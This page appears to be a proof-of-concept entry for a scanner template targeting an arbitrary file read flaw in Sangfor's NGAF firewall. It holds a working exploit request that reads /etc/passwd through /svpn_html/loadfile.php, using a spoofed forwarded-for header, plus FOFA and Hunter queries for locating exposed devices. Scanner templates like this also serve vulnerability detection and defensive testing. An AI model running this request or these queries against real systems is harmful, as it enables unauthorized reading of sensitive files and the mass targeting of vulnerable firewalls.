sangfor-ngaf-fileread: 深信服 NGAF 任意文件读取漏洞

2025-08-01 深信服NGAF PoC Public

Description

深信服下一代防火墙NGAF

FOFA: "Redirect.php?url=/LogInOut.php" && port="85"

FOFA: title="SANGFOR | NGAF"

HUNTER: web.body="LogInOut.php?type=logout"

PoC

id: sangfor-ngaf-fileread

info:
  name: 深信服 NGAF 任意文件读取漏洞
  author: zan8in
  severity: high
  verified: true
  description: |-
    深信服下一代防火墙NGAF
    FOFA: "Redirect.php?url=/LogInOut.php" && port="85"
    FOFA: title="SANGFOR | NGAF"
    HUNTER: web.body="LogInOut.php?type=logout"
  reference:
    - https://labs.watchtowr.com/yet-more-unauth-remote-command-execution-vulns-in-firewalls-sangfor-edition/
  tags: sangfor,fileread
  created: 2023/09/08

rules:
  r0:
    request:
      method: GET
      path: /svpn_html/loadfile.php?file=/etc/./passwd
      headers:
        y-forwarded-for: 127.0.0.1
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/sangfor-ngaf-fileread.yaml

References

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